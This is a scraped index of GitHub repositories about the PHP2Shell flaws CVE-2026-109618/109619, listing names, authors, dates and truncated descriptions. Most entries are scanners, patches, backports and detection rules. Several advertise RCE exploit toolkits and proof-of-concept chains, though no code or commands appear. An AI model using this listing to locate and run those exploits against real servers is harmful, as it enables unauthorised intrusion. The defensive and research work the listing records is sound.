CVE-2026-109618 / 109619 research & exploit tooling (mod_php + FPM Chain-E)
|
rayaar | 0 | 0 | 2026-10-26 | View |
|
ncbtn/CVE-2026-PHP-Fix
PHP2Shell CVE-2026-109618 and CVE-2026-109619 Fix
|
ncbtn | 0 | 0 | 2026-10-24 | View |
|
onexxu/php2shell-poc
PHP2Shell — CVE-2026-109618/109619 exploit toolkit: 6 RCE chains, memory disclosure, scanner, detection rules, WAF mitig...
|
onexxu | 0 | 0 | 2026-10-23 | View |
|
foxcornlab/php2shell-scanner
Detection-only triage scanner for PHP2Shell CVE-2026-109618 / CVE-2026-109619: PHP version fingerprinting, SAPI detectio...
|
foxcornlab | 0 | 0 | 2026-10-26 | View |
|
ProTekk/php2shell-detect
Benign client-testing detector for PHP2Shell / PHP session upload-progress (CVE-2026-109618, CVE-2026-109619): version l...
|
ProTekk | 0 | 0 | 2026-10-26 | View |
|
cyrilshaji38/php2shell_offsec
This was the exploit released by Offsec for CVE-2026-109618 on 23rd October 2026. Source: https://www.exploit-db.com/exp...
|
cyrilshaji38 | 0 | 0 | 2026-10-26 | View |
|
piecar21/CVE-2026-109618
PoC / exploit archive for CVE-2026-109618
|
piecar21 | 0 | 0 | 2026-10-26 | View |
|
roloVibes/php2shell
PHP2SHELL — remote scanner + research PoC for CVE-2026-109618 / CVE-2026-109619: the PHP rfc1867 pre-request OOM RCE pai...
|
roloVibes | 0 | 0 | 2026-10-26 | View |
|
yunuscobas/php-inventory-scanner
PHP2Shell (CVE-2026-109618/109619) exposure scanner — finds unpatched / end-of-life PHP hosts on an internal network. Bi...
|
yunuscobas | 0 | 0 | 2026-10-26 | View |
|
fixnhanh-linux/update-php-cve
Vá PHP2Shell (CVE-2026-109618/109619) và nâng cấp PHP 8.1→8.3/8.4 cho nginx + php-fpm — Ubuntu/Debian và RHEL/Rocky
|
fixnhanh-linux | 0 | 0 | 2026-10-26 | View |
|
Frankie7techy/php2shell-lab
Local reproduction lab for PHP2Shell (CVE-2026-109618 / CVE-2026-109619): PHP 8.5.11 source-built mod_php target, chunke...
|
Frankie7techy | 0 | 0 | 2026-10-26 | View |
|
Abdullah-Mehtab/php2shell-lab
CVE-2026-109618: Unauthenticated RCE via PHP session upload progress OOM heap corruption (Apache mod_php)
|
Abdullah-Mehtab | 0 | 0 | 2026-10-26 | View |
|
RooQs/php74-alpine
基于 php:7.4.33-fpm-alpine3.16，应用 PHP2Shell 最小缓解补丁 712e60f9（CVE-2026-109618/109619）重新编译的 PHP 7.4 Alpine 修复镜像
|
RooQs | 0 | 0 | 2026-10-26 | View |
|
troey11/php54-php2shell-backport
Unofficial backport of the CVE-2026-109618 / CVE-2026-109619 (php2shell) fixes to Ubuntu 12.10 php5 5.4.6-1ubuntu1.8, wi...
|
troey11 | 0 | 0 | 2026-10-26 | View |
|
kjry8sb/php2shell-mitigation
Read-only scanner and config patcher to detect and work around CVE-2026-109618 / CVE-2026-109619 on PHP, with a full det...
|
kjry8sb | 0 | 0 | 2026-10-26 | View |
|
Darabium/php2shell-POC
A lightweight, read-only Python script that helps security teams quickly assess whether a PHP deployment may be affected...
|
Darabium | 0 | 0 | 2026-10-26 | View |
|
Bccccc/php2shell-check
PHP2Shell（CVE-2026-109618 / CVE-2026-109619）远程批量检测工具
|
Bccccc | 0 | 0 | 2026-10-26 | View |
|
fksegundo/php2shell-lab
Local Docker lab PoC for CVE-2026-109618 / CVE-2026-109619 (php2shell). Authorized use only; local targets.
|
fksegundo | 0 | 0 | 2026-10-24 | View |
|
ahallais/php82-ubuntu2404-backport
PHP 8.2.35 rebuild (CVE-2026-109618 / CVE-2026-109619 fix, no telemetry) for Ubuntu 24.04 hosts running php8.2 8.2.7-1ub...
|
ahallais | 0 | 0 | 2026-10-26 | View |
|
yildirimserkan/php2shellscanner-web
Browser-based terminal-style UI for assetnote's php2shell-scanner (CVE-2026-109618 / CVE-2026-109619), with live per-pro...
|
yildirimserkan | 0 | 0 | 2026-10-26 | View |
|
lynolz163/php2shell-research-public
Reproducible local Docker lab for CVE-2026-109618 PHP-FPM validation
|
lynolz163 | 0 | 0 | 2026-10-26 | View |
|
Nostraxiten/PHP2shell
PHP2Shell — Unauthenticated RCE chain exploiting CVE-2026-109618 (OOM memory corruption) + CVE-2026-109619 (stale global...
|
Nostraxiten | 0 | 0 | 2026-10-26 | View |
|
grergea/php81-el7-php2shell
Unofficial CentOS 7 (EL7) rebuild of Remi php-8.1.34-6 with the PHP2Shell (CVE-2026-109618, CVE-2026-109619) mitigation
|
grergea | 0 | 0 | 2026-10-26 | View |
|
turovskiy/php2shell-fixer
Claude Code plugin: audit and patch PHP2Shell (CVE-2026-109618/109619) on Debian/Ubuntu PHP servers
|
turovskiy | 0 | 0 | 2026-10-26 | View |
|
liuhahi/test-php
Controlled lab pinned to PHP 8.3.35 for reproducing/patch-verifying PHP2Shell (CVE-2026-109618, CVE-2026-109619)
|
liuhahi | 0 | 0 | 2026-10-26 | View |
|
lucasbarros097/PHP2Shell__CVE-2026-109618__CVE2026-109619
|
lucasbarros097 | 0 | 0 | 2026-10-25 | View |
|
MrPrinceRawat/php2shell-behind-nginx
php2shell (CVE-2026-109618/9) behind nginx: measurements, lab, and an app-LFI chain that survives a proxy
|
MrPrinceRawat | 0 | 0 | 2026-10-25 | View |
|
daothinh/php2shell-monitor-rz
PHP2Shell Monitor - Real-time detection for CVE-2026-109618/109619 exploitation attempts
|
daothinh | 0 | 0 | 2026-10-25 | View |
|
Leviticus-Triage/php2shell-unchained
Isolated Docker adversary-emulation lab: PHP2Shell (CVE-2026-109618/619, CVE-2026-115560) exploit chains, 11-scenario pa...
|
Leviticus-Triage | 0 | 0 | 2026-10-25 | View |
|
fbuff-tools/php2shell-checker
Check PHP for PHP2Shell (CVE-2026-109618, CVE-2026-109619): fixed PHP and Ubuntu/Debian/AlmaLinux packages, plus a read-...
|
fbuff-tools | 0 | 0 | 2026-10-25 | View |
|
nokitakaze/CVE-2026-109618-109619-checker
CVE-2026-109618 / 109619 checker
|
nokitakaze | 0 | 0 | 2026-10-25 | View |
|
andreysheva/homebrew-php2shell-doctor
Homebrew tap for php2shell-doctor - the safe checker for the php2shell PHP RCEs (CVE-2026-109618/109619)
|
andreysheva | 0 | 0 | 2026-10-25 | View |
|
catscarlet/php-fpm-docker-PHP-7.4-CVE-2026-109618-109619-free
This is a Docker Image of php:7.4-fpm which is **CVE-2026-109618-109691-free**.
|
catscarlet | 0 | 0 | 2026-10-25 | View |
|
avego/php2shell
Universal PHP security scanner & native EOL patches (PHP 5.2–8.1) for CVE-2026-109618, CVE-2026-109619 & CVE-2026-115560...
|
avego | 0 | 0 | 2026-10-25 | View |
|
mamarce/php-vulns-discovered-23-10-2026
Patch temporanee per sistemi con versioni di PHP inferiori a 8.2.35 contro CVE-2026-109618 - CVE-2026-109619 - CVE-2026-...
|
mamarce | 0 | 0 | 2026-10-25 | View |
|
StiJans/php8.1-cve-109618-109619-fix
php:8.1.34-fpm-alpine + official PHP patch for CVE-2026-109618/109619
|
StiJans | 0 | 0 | 2026-10-25 | View |
|
StiJans/php7.4-cve-109618-109619-fix
php:7.4.33-fpm-alpine + official PHP patch for CVE-2026-109618/109619
|
StiJans | 0 | 0 | 2026-10-25 | View |
|
gasanthosh/php2shell
Exploit & analysis for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Demonstrating memory disclosure, ASLR bypass, and ...
|
gasanthosh | 0 | 0 | 2026-10-25 | View |
|
SirjanSingh/shiny-php
Defensive checker, preventer & log scanner for the PHP2Shell RCE flaws (CVE-2026-109618 / CVE-2026-109619). Zero depende...
|
SirjanSingh | 0 | 0 | 2026-10-23 | View |
|
marcotorres/php2shell-demo
🛡️ Hands-on defensive Docker lab for the October 2026 RCE week — PHP2Shell (CVE-2026-109618/619), Node.js Brotli & Next....
|
marcotorres | 0 | 0 | 2026-10-25 | View |
|
GOLF2546/PHP2Shell-CVE-2026-109618-CVE-2026-109619
|
GOLF2546 | 0 | 0 | 2026-10-25 | View |
|
AbacusNin/php-radar
Detection-only exposure scanner for PHP2Shell (CVE-2026-109618/109619): finds PHP across repositories, hosts, a network ...
|
AbacusNin | 0 | 0 | 2026-10-25 | View |
|
StiJans/php8-cve-109618-109619-fix
php:8.0.30-fpm-alpine + official PHP patch for CVE-2026-109618/109619
|
StiJans | 0 | 0 | 2026-10-25 | View |
|
umer-r/php2shell-scan-revamp
A clean, modular, and extensively documented reimplementation of the Assetnote php2shell scanner for detecting CVE-2026-...
|
umer-r | 0 | 0 | 2026-10-24 | View |
|
E-Sherlock/php2shell-detection-engineering-lab
Production-grade detection engineering suite (Sigma rules & Wazuh XML) and DFIR triage scripts for CVE-2026-109618 / CVE...
|
E-Sherlock | 0 | 0 | 2026-10-24 | View |
|
Rahat463/patchferry-check
Free read-only scripts to check servers for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) and PHP end-of-life versions
|
Rahat463 | 0 | 0 | 2026-10-24 | View |
|
bogdik/php2shell-el7-el8-rpm-fixed
Unofficial patched PHP RPMs for EL7/EL8 mitigating php2shell (CVE-2026-109618, CVE-2026-109619), including legacy Remi S...
|
bogdik | 0 | 0 | 2026-10-24 | View |
|
utkarsssh17/cve-2026-109618-php2shell-poc
CVE-2026-109618 (php2shell part 1): local deterministic memory-safety PoC
|
utkarsssh17 | 0 | 0 | 2026-10-24 | View |
|
nikhilyadav551/php2shel
This repository contains operational information regarding the critical PHP vulnerabilities tracked by CERT-EU as CVE-20...
|
nikhilyadav551 | 0 | 0 | 2026-10-24 | View |
|
87sunitasingh-droid/RHYTHM-SINGH
High fidelity scanner for php2shell (CVE-2026-109618 and CVE-2026-109619)
|
87sunitasingh-droid | 0 | 0 | 2026-10-24 | View |
|
CypherSecurity/php2shell-detection
Detection and response package for php2shell (CVE-2026-109618 / CVE-2026-109619): Suricata, Zeek, YARA, Sigma, ModSecuri...
|
CypherSecurity | 0 | 0 | 2026-10-24 | View |
|
bagsiz/el7-php71-security
Patched PHP 7.1 RPMs for CentOS 7 (Remi php-* and php71-php-*) fixing CVE-2026-109618 / CVE-2026-109619, with an install...
|
bagsiz | 0 | 0 | 2026-10-24 | View |
|
Suman99pro/php2shell-check
Check if your server is vulnerable for latest PHP2Shell (CVE-2026-109618,CVE-2026-109619, CVE-2026-115560)
|
Suman99pro | 0 | 0 | 2026-10-24 | View |
|
Cyber-BansalAI/php2shell-2026
Published indicators and a log-hunting guide for the PHP2Shell PHP flaws (CVE-2026-109618, CVE-2026-109619)
|
Cyber-BansalAI | 0 | 0 | 2026-10-24 | View |
|
zhuyihenzheng/php2shell-repro
PHP2Shell CVE-2026-109618/109619: lab-verified reproduction, root-cause analysis & visualizations (educational)
|
zhuyihenzheng | 0 | 0 | 2026-10-24 | View |
|
abelncm/php2shell-claude-code-prompt
Prompt para corrigir o PHP2Shell (CVE-2026-109618 e CVE-2026-109619) com o Claude Code, aprovando cada passo. Português ...
|
abelncm | 0 | 0 | 2026-10-24 | View |
|
h1-wh0areu/PHP-CVE-Scanner
Harmless fingerprint scanner for PHP CVE-2026-109618 / CVE-2026-109619 (CLI + Web UI)
|
h1-wh0areu | 0 | 0 | 2026-10-24 | View |
|
jensb1/php-8.2.34-session-uaf-rce
PHP 8.2.34 session UAF (CVE-2026-109618/619): x86_64 lab exploit, 5/5 on instrumented -g and clean -O2
|
jensb1 | 0 | 0 | 2026-10-23 | View |
|
isaca0315/cve-2026-109618-109619-session-upload-progress-trigger
|
isaca0315 | 0 | 0 | 2026-10-23 | View |
|
nsrivastava2velsof/php56-php2shell-patch
PHP2Shell (CVE-2026-109618/109619) fix for PHP 5.6: Sury 0261 port, analysis, Remi rebuild spec diff, verify script
|
nsrivastava2velsof | 0 | 0 | 2026-10-22 | View |
|
emirwtz/php2shell
A lightweight Python CLI to assess PHP2Shell (CVE-2026-109618 & CVE-2026-109619) exposure via version checks.
|
emirwtz | 0 | 0 | 2026-10-22 | View |
|
googlesky/GHSA-w8hw-w9fx-j79w
PHP2Shell PoC for GHSA-w8hw-w9fx-j79w / CVE-2026-109618 — PHP OOM longjmp memory corruption. Validated OOM producers and...
|
googlesky | 0 | 0 | 2026-10-24 | View |
|
vintage-alt/CVE-2026-109618-and-CVE-2026-109619-php2shell-burpproxy
|
vintage-alt | 0 | 0 | 2026-10-24 | View |
|
DARKSTUFF-LAB/php2shell-poc
CVE-2026-109618 & CVE-2026-109619 — PHP Pre-Auth RCE Exploit & Detection Toolkit
|
DARKSTUFF-LAB | 0 | 0 | 2026-10-24 | View |
|
intelliroot-tech/php2shell
Desktop tool to find, audit, and remediate the PHP2Shell CVEs (CVE-2026-109618/109619) on your own infrastructure — netw...
|
intelliroot-tech | 0 | 0 | 2026-10-24 | View |
|
ytbsamsu007/CVE-2026-109618-109619-Docker-Lab-Tutorial
Lab pembelajaran lokal untuk mereproduksi CVE-2026-109618/109619 pada Docker.
|
ytbsamsu007 | 0 | 0 | 2026-10-24 | View |
|
saaudsdk/php2shell-cve-2026-109618-109619-fix
|
saaudsdk | 0 | 0 | 2026-10-24 | View |
|
GarphenGate/php2shell-defender-toolkit
Hunts, logging and audits for PHP2Shell (CVE-2026-109618, CVE-2026-109619) and CVE-2026-115560. Read-only bash; companio...
|
GarphenGate | 0 | 0 | 2026-10-23 | View |
|
pagvac/php2shell-trends
Live tracker: how fast is the internet patching PHP against PHP2Shell (CVE-2026-109618/-109619)? Hourly, anonymized.
|
pagvac | 0 | 0 | 2026-10-23 | View |
|
imaginal/docker-php74-trixie
Docker Image php:7.4-fpm with security fixes for CVE-2026-109618 and CVE-2026-109619 updated to build and run on Debian ...
|
imaginal | 0 | 0 | 2026-10-24 | View |
|
manteiga-foundation/php2shell-labs
Is your server exposed to PHP2Shell? Free, open-source exposure test and consent-gated exploit validation for CVE-2026-1...
|
manteiga-foundation | 0 | 0 | 2026-10-23 | View |
|
pruthvi0820-cell/phpguard
Defensive toolkit for PHP servers after PHP2Shell (CVE-2026-109618/9): fleet patch audit incl. distro backports & end-of...
|
pruthvi0820-cell | 0 | 0 | 2026-10-23 | View |
|
Filipegabri/RodMapAuditoriaweb
Metodologia completa de auditoria web - 7 fases - PHP2Shell RCE CVE-2026-109618, Wazuh Baseline 17 regras, MITRE ATT&CK ...
|
Filipegabri | 0 | 0 | 2026-10-23 | View |
|
Nguemoue/project2026_20261023_php_rce_guard
Vérifie si une version PHP est encore exposée aux RCE du 21 octobre 2026 (CVE-2026-109618, CVE-2026-109619) et rappelle ...
|
Nguemoue | 0 | 0 | 2026-10-23 | View |
|
segfaultx01/php2shell-pocJavali
Single-file PoC for CVE-2026-109618/109619 (PHP session upload_progress OOM UAF -> RCE). Authorized internal testing onl...
|
segfaultx01 | 0 | 0 | 2026-10-23 | View |
|
ionsec/php2shell-detector
php2shell-detector - local + network detections for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) by IONSEC. Python CLI:...
|
ionsec | 0 | 0 | 2026-10-23 | View |
|
devborlot/php2shell-fix
Correção e verificação de PHP 7.4 (CVE-2026-109618/109619) por bind, Apache e nginx/FPM
|
devborlot | 0 | 0 | 2026-10-23 | View |
|
sanketkokate712/php2shell-fix
Claude Code skill + scripts to find, patch and verify PHP2Shell (CVE-2026-109618, CVE-2026-109619) on any PHP server
|
sanketkokate712 | 0 | 0 | 2026-10-23 | View |
|
RuxaXa/php2shell-sapi-differential
SAPI differential research on CVE-2026-109618/109619: FPM session-residue patch verification (29/29 vs 0/31), mod_php cl...
|
RuxaXa | 0 | 0 | 2026-10-23 | View |
|
SANAULLAH-AI/php2shell-safe-learning-lab
An educational PHP2Shell (CVE-2026-109618 / CVE-2026-109619) learning lab demonstrating HTTP upload handling, memory-saf...
|
SANAULLAH-AI | 0 | 0 | 2026-10-23 | View |
|
jniedergang/php74-el7-php2shell
Unofficial EL7 rebuild of Remi's php74 SCL packages with the PHP2Shell fix (CVE-2026-109618, CVE-2026-109619). Not suppo...
|
jniedergang | 0 | 0 | 2026-10-23 | View |
|
walt3rblake/php2shell-scanner
Multi-tool passive scanner for CVE-2026-109618 / CVE-2026-109619 (PHP memory-corruption RCE pair). Cross-checks 6 indepe...
|
walt3rblake | 0 | 0 | 2026-10-23 | View |
|
pagvac/php2shell-detect
Multi-method remote PHP version detector with PHP2Shell (CVE-2026-109618/109619) triage
|
pagvac | 0 | 0 | 2026-10-23 | View |
|
AmanSin001/php2shell-check
Check a PHP install for the PHP2Shell fixes (CVE-2026-109618, CVE-2026-109619), including Ubuntu backports, and show int...
|
AmanSin001 | 0 | 0 | 2026-10-23 | View |
|
amier-ge/php2shell
A local test environment for PHP2Shell (CVE-2026-109618) on a vulnerable PHP server.
|
amier-ge | 0 | 0 | 2026-10-23 | View |
|
aiuser888-bot/php-7.3.33-cve-2026-109618-109619
|
aiuser888-bot | 0 | 0 | 2026-10-23 | View |
|
Ghost-Bx1/php-exploits-CVE-2026-109618-CVE-2026-109619-CVE-2024-4577
Full exploits and PoCs for php2shell (CVE-2026-109618, CVE-2026-109619) and CVE-2024-4577 - PHP critical RCE (CVSS 9.2-9...
|
Ghost-Bx1 | 0 | 0 | 2026-10-23 | View |
|
ChaskarVinit/cve-2026-109618-php-oom-simulation
Educational HTML/CSS/JS visualization of CVE-2026-109618 — a PHP out-of-memory / longjmp() request-state corruption issu...
|
ChaskarVinit | 0 | 0 | 2026-10-23 | View |
|
K4ySuh/php-oneshot-checker
PHP configuration and exposure checker for CVE-2026-109618, CVE-2026-109619, and related paths
|
K4ySuh | 0 | 0 | 2026-10-23 | View |
|
CyberSunil/cybersunil.github.io
PHP2Shell — CVE-2026-109618 & CVE-2026-109619 research hub
|
CyberSunil | 0 | 0 | 2026-10-23 | View |
|
scriptzteam/Paranoid-PHP2Shell
PHP2Shell - CVE-2026-109618 and CVE-2026-109619
|
scriptzteam | 0 | 0 | 2026-10-23 | View |
|
malikad778/php2shell-guard
Read-only defensive auditor (no exploit code or PoC, zero dependencies) for PHP2Shell CVE-2026-109618, CVE-2026-109619, ...
|
malikad778 | 0 | 0 | 2026-10-23 | View |
|
digital-heroes-hamburg/wp-php2shell-check
Read-only check for WordPress sites on shared PHP hosting after PHP2Shell (CVE-2026-109618/-109619).
|
digital-heroes-hamburg | 0 | 0 | 2026-10-23 | View |
|
jlrodriguezdev/laravel-bot-protection
BotProtection, blocking reconnaissance scans used in exploits like PHP2Shell (CVE-2026-109618 / CVE-2026-109619) before ...
|
jlrodriguezdev | 0 | 0 | 2026-10-23 | View |
|
phpfixes/phpfixes-php2shell
Free PHP2Shell (CVE-2026-109618, CVE-2026-109619) check skill for Claude Code and Codex. Reads the PHP package and runti...
|
phpfixes | 0 | 0 | 2026-10-23 | View |
|
wunamesst/php-cve-2026-109618-109619-patch
Unofficial minimal backports for CVE-2026-109618 and CVE-2026-109619 on end-of-life PHP 5.4.33, 5.6.7, 7.1.1 and 7.3.13....
|
wunamesst | 0 | 0 | 2026-10-23 | View |
|
sstrobl-osm/php2shell-tools
Read-only triage tools for the October 2026 PHP remote-code-execution flaws: CVE-2026-109618 / CVE-2026-109619 / CVE-202...
|
sstrobl-osm | 0 | 0 | 2026-10-23 | View |
|
reza-ghanbari-adivi/php2shell-scanner
Safe, non-destructive network & VLAN scanner to detect exposed PHP runtimes vulnerable to CVE-2026-109618 / CVE-2026-109...
|
reza-ghanbari-adivi | 0 | 0 | 2026-10-23 | View |
|
skydwn/CVE-2026-109618
Use-After-Free on PHP 8.4.26, Apache 2.4.69. RCE pre-auth PoC made for educational purposes
|
skydwn | 0 | 0 | 2026-10-23 | View |
|
kowalski-analysis/php2shell-checker
php2shell CVE-2026-109618 CVE-2026-109619 detection tooling for Linux and Windows
|
kowalski-analysis | 0 | 0 | 2026-10-23 | View |
|
Ls-ComCSIRT/php2shell-scan
All-in-one scanner for CVE-2026-109618 / CVE-2026-109619 (php2shell). Domain → subdomain enum → DNS resolve → passive PH...
|
Ls-ComCSIRT | 0 | 0 | 2026-10-23 | View |
|
PapaBill1234/php2shell-toolkit
php2shell (CVE-2026-109618/109619) research toolkit - private preview
|
PapaBill1234 | 0 | 0 | 2026-10-23 | View |
|
9hb/php2shell-poc
php2shell rce proof of concept for cve-2026-109618 and cve-2026-109619
|
9hb | 0 | 0 | 2026-10-23 | View |
|
whxylm/tdoa-php-cve-2026-109618-109619-patch-package
通达OAV11 PHP5.45.0 补丁包
|
whxylm | 0 | 0 | 2026-10-23 | View |
|
sajadonline/patch-php2shell
Defensive remediation helper for the PHP2Shell RCE (CVE-2026-109618 / CVE-2026-109619): detects exposure and applies the...
|
sajadonline | 0 | 0 | 2026-10-23 | View |
|
tumibroikakou/php_sec_patch
CVE-2026-109618 and CVE-2026-109619 mitigation
|
tumibroikakou | 0 | 0 | 2026-10-23 | View |
|
Suleman-Elahi/php2shell-sentinel
PHP2Shell Sentinel is an intelligent, zero-dependency, low-resource cross-platform defense daemon to detect, log, preven...
|
Suleman-Elahi | 0 | 0 | 2026-10-23 | View |
|
flawme/php2shell-scanner
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) exposure scanner - flags unpatched PHP version pins across composer/Docker...
|
flawme | 0 | 0 | 2026-10-23 | View |
|
lesterlam/php2shell-lab
PHP2Shell lab (CVE-2026-109618 / -109619): reach the OOM, read the previous request's stale session state, then measure ...
|
lesterlam | 0 | 0 | 2026-10-23 | View |
|
ZeroHunt-org/self-check
Free read-only self-check scripts for PHP2Shell (CVE-2026-109618), the LiteLLM 1.107.0 compromise and the eMudhra CA key...
|
ZeroHunt-org | 0 | 0 | 2026-10-23 | View |
|
shadowofleaf96/php2shell-php7-mitigation-kit
PHP2Shell RCE (CVE-2026-109618 & CVE-2026-109619) defense kit for EOL PHP 7.0–7.4: runtime hardening, Apache/.user.ini/N...
|
shadowofleaf96 | 0 | 0 | 2026-10-23 | View |
|
bagsiz/el8-php73-security
Patched PHP 7.3 RPMs for EL8 / Rocky Linux 8 (Remi php73-php-*) fixing CVE-2026-109618 / CVE-2026-109619, with an instal...
|
bagsiz | 0 | 0 | 2026-10-23 | View |
|
Senturkselim/Am-I-Infected
A defensive incident-response scanner for the PHP2Shell vulnerabilities (CVE-2026-109618 / CVE-2026-109619). am-i-infec...
|
Senturkselim | 0 | 0 | 2026-10-23 | View |
|
sqzer-x/php2shell-scanner
Check PHP2Shell (CVE-2026-109618, CVE-2026-109619) from inside your server: distribution backports, missed restarts and ...
|
sqzer-x | 0 | 0 | 2026-10-23 | View |
|
leejongyoung/php2shell-kr
PHP2Shell(CVE-2026-109618/109619) 취약점 점검·대응 도구와 한국어 런북 (비공식, 방어용). Defensive check & response toolkit: Linux/Unix/Window...
|
leejongyoung | 0 | 0 | 2026-10-23 | View |
|
neoqmin/php2shell
Non-destructive checker for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) — read-only, stdlib-only Python. PHP 취약점 비파괴 점...
|
neoqmin | 0 | 0 | 2026-10-23 | View |
|
louzaonet/php2shell_hunt
Quick and dirty hunting script for PHP2Shell (CVE-2026-109618 and CVE-2026-109619) on ISPConfig servers.
|
louzaonet | 0 | 0 | 2026-10-22 | View |
|
hanyuanchen08-netizen/php-exposure-audit
Read-only auditor for CVE-2026-109618 / CVE-2026-109619 — seven independent PHP exposure axes across distro backports, D...
|
hanyuanchen08-netizen | 0 | 0 | 2026-10-22 | View |
|
earlkun-ngga/ipeh
Aplikasi yang berguna untuk mengecek versi PHP dan apakah versi yang lu Pake, kena CVE-2026-109618 & CVE-2026-109619
|
earlkun-ngga | 0 | 0 | 2026-10-23 | View |
|
fschell/tools
Admin- und Security-Hilfsskripte · u.a. PHP-Patch-Check für PHP2Shell (CVE-2026-109618/109619)
|
fschell | 0 | 0 | 2026-10-23 | View |
|
MorphingYU/CVE-2026-109618
CVE-2026-109618 docker本地复现环境+Poc
|
MorphingYU | 0 | 0 | 2026-10-23 | View |
|
farimazhar/php2shell-fix-toolkit
🚨 Emergency toolkit for PHP2Shell (CVE-2026-109618 & CVE-2026-109619) CVSS 9.2 - Unauthenticated RCE in PHP Core. Scanne...
|
farimazhar | 0 | 0 | 2026-10-23 | View |
|
LeonKK/PHP2Shell-Scanner
PHP2Shell vulnerability scanner for CVE-2026-109618 and CVE-2026-109619. Discover vulnerable PHP version indicators, sca...
|
LeonKK | 0 | 0 | 2026-10-23 | View |
|
pro-m16/CVE-2026-109618-php2shell-lab
PHP 8.4.4 Use-After-Free CVE-2026-109618 lab — tested against a real PHP app with mitigation applied
|
pro-m16 | 0 | 0 | 2026-10-23 | View |
|
EQSTLab/CVE-2026-109618
php2shell
|
EQSTLab | 0 | 0 | 2026-10-23 | View |
|
joei007/PHP-5.6.40-Patched
Patch แบบย่อสำหรับ CVE-2026-109618 และ CVE-2026-109619 เพื่อต่อเวลาไปยังการ Upgrade เป็น PHP รุ่นใหม่กว่า
|
joei007 | 0 | 0 | 2026-10-23 | View |
|
axon003/php-legacy-cve-2026-109618
Unofficial backports of PHP CVE-2026-109618/109619 (OOM RCE) for legacy PHP 5.4, 5.5 and 7.2 + Apache/FPM mitigations
|
axon003 | 0 | 0 | 2026-10-23 | View |
|
ryuhaneul/php-el7-cve-2026-109618
CentOS 7 Remi PHP 7.4/8.3 rebuild for CVE-2026-109618/109619
|
ryuhaneul | 0 | 0 | 2026-10-23 | View |
|
alefkaue/php2shell-security-assessor
Offline, evidence-aware PHP inventory triage for CVE-2026-109618/109619, with backport handling and static reports.
|
alefkaue | 0 | 0 | 2026-10-23 | View |
|
Kyros0324/CVE2026
This is made for php2shell-CVE-2026-109618-CVE-2026-109619-PoC.
|
Kyros0324 | 0 | 0 | 2026-10-23 | View |
|
joec4i/docker-library-php
docker-library/php with PHP2Shell (CVE-2026-109618/109619) patched 7.4 and 8.1 buster images
|
joec4i | 0 | 0 | 2026-10-23 | View |
|
gukHyeonGeum/cve-2026-109618-109619-el7
PHP2Shell patches for PHP 7.0.33 on CentOS 7 (Remi RPMs)
|
gukHyeonGeum | 0 | 0 | 2026-10-23 | View |
|
nurlanchip/PHP2SHELL-POC-Lab-CVE-2026-109618-CVE-2026-109619
|
nurlanchip | 0 | 0 | 2026-10-23 | View |
|
ahallais/php71-debian9-backport
PHP 7.1 security backport for Debian 9 (stretch / buster 2018) fixing CVE-2026-109618 & CVE-2026-109619
|
ahallais | 0 | 0 | 2026-10-23 | View |
|
leejongyoung/php2shell-triage
PHP2Shell (CVE-2026-109618/109619) defensive triage & response toolkit: Linux/Unix/Windows/containers, host-specific pat...
|
leejongyoung | 0 | 0 | 2026-10-23 | View |
|
renyang-create/php2shell-repro
CVE-2026-109618 / CVE-2026-109619 本地复现笔记：UAF 原语验证、利用链边界分析、加固方案
|
renyang-create | 0 | 0 | 2026-10-23 | View |
|
463861437/guard-for-php74
Guard for PHP 7.4: native Linux package remediation for CVE-2026-109618/109619, with verified build recipes and deployme...
|
463861437 | 0 | 0 | 2026-10-23 | View |
|
raeseoklee/php-safepatch
Find and fix PHP2Shell (CVE-2026-109618, CVE-2026-109619) on Linux, Windows and Docker without changing the PHP minor ve...
|
raeseoklee | 0 | 0 | 2026-10-23 | View |
|
SideeID/php2shell
scanner CVE-2026-109618/CVE-2026-109619. write with bun
|
SideeID | 0 | 0 | 2026-10-23 | View |
|
techtaek77/php2shell-guide
PHP2Shell(CVE-2026-109618/109619) 원리와 PHP 버전별 대응을 택배 창고 비유로 설명하는 교육용 페이지
|
techtaek77 | 0 | 0 | 2026-10-23 | View |
|
hezhidong/php2shell-guard
Cross-platform PHP2Shell (CVE-2026-109618 / CVE-2026-109619) scanner/fixer/verifier — scan, mitigate, upgrade, verify. Z...
|
hezhidong | 0 | 0 | 2026-10-23 | View |
|
danieljamesbertrand/php2shell-source-hotfix
Emergency PHP2Shell hotfix (CVE-2026-109618 / CVE-2026-109619): apt if possible, else build fixed PHP from source
|
danieljamesbertrand | 0 | 0 | 2026-10-23 | View |
|
CODEMaster-284/php2shell-audit
Free Bash script to check servers, SSH hosts and Docker containers for the PHP2Shell RCE flaws (CVE-2026-109618 & CVE-20...
|
CODEMaster-284 | 0 | 0 | 2026-10-22 | View |
|
dinvisible1/nmap-php2shell
Safe Nmap NSE detection for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) using PHP version fingerprinting. No exploitat...
|
dinvisible1 | 0 | 0 | 2026-10-22 | View |
|
mc493/php2shell-enterprise-hardening-cve-2026-109618-109619
php2shell-enterprise-hardening (CVE-2026-109618 / CVE-2026-109619) - Hyperscale Defense-in-Depth, Non-Breaking Mitigatio...
|
mc493 | 0 | 0 | 2026-10-22 | View |
|
bsalunke/php2shell-lab
Intentionally vulnerable PHP container demonstrating PHP2Shell (CVE-2026-109618 / CVE-2026-109619) — lab use only
|
bsalunke | 0 | 0 | 2026-10-22 | View |
|
alvleont/php-patch-claude-skill
The Skill I have been using to patch PHP servers for the vulnerability PHP2Shell (CVE-2026-109618 y CVE-2026-109619)
|
alvleont | 0 | 0 | 2026-10-22 | View |
|
amahjoshdevsec/php2shell-shield
Layered AWS WAF virtual patch for the PHP2Shell RCE vulnerabilities (CVE-2026-109618 / CVE-2026-109619): Terraform, mana...
|
amahjoshdevsec | 0 | 0 | 2026-10-22 | View |
|
karlisl/php2shell-rules
Fixed PHP versions and distro packages for PHP2Shell (CVE-2026-109618, CVE-2026-109619) as JSON. CC0. Data behind php2sh...
|
karlisl | 0 | 0 | 2026-10-22 | View |
|
Magicalname/php2shell-guard
Fleet-wide audit, remediation & IOC scan for CVE-2026-109618/109619 (php2shell). Finds every PHP build ea-php/alt-php/ls...
|
Magicalname | 0 | 0 | 2026-10-22 | View |
|
jarohull-ai/jfp-edge-radar
